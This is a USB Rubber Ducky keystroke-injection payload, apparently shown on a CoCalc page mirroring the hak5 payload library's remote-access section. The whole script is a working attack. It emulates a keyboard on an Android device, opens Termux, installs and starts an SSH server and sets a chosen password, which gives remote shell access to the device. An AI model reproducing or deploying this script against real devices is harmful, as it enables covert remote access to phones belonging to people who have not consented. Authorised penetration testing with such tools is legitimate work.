Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/remote_access/EnableSSH-Android/payload.txt
2964 views
1
REM Enable SSH - Android
2
REM Version 1.0
3
REM OS: Android
4
REM Author: KryptoKola
5
REM Requirements: RubberDucky, Android Device with Termux Installed
6
REM Description: This payload will install and run OpenSSH on Android devices with Termux installed. (Termux should be installed from F-droid for best results).
7
REM Configuration: Place a password in the "NewPasswordHere" and "ConfirmPasswordHere" fields below.
8
9
ATTACKMODE HID
10
DELAY 500
11
GUI f
12
DELAY 1000
13
STRING termux
14
DELAY 500
15
TAB
16
DELAY 100
17
TAB
18
DELAY 500
19
ENTER
20
DELAY 1500
21
STRINGLN pkg update -y;pkg install root-repo -y;pkg install openssh -y;ssh-keygen -A;sshd;passwd;
22
DELAY 20000
23
STRINGLN NewPasswordHere
24
DELAY 500
25
STRINGLN ConfirmPasswordHere
26
DELAY 500
27
ALT F4
28
DELAY 100
29
ALT F4
30
DELAY 500
31
32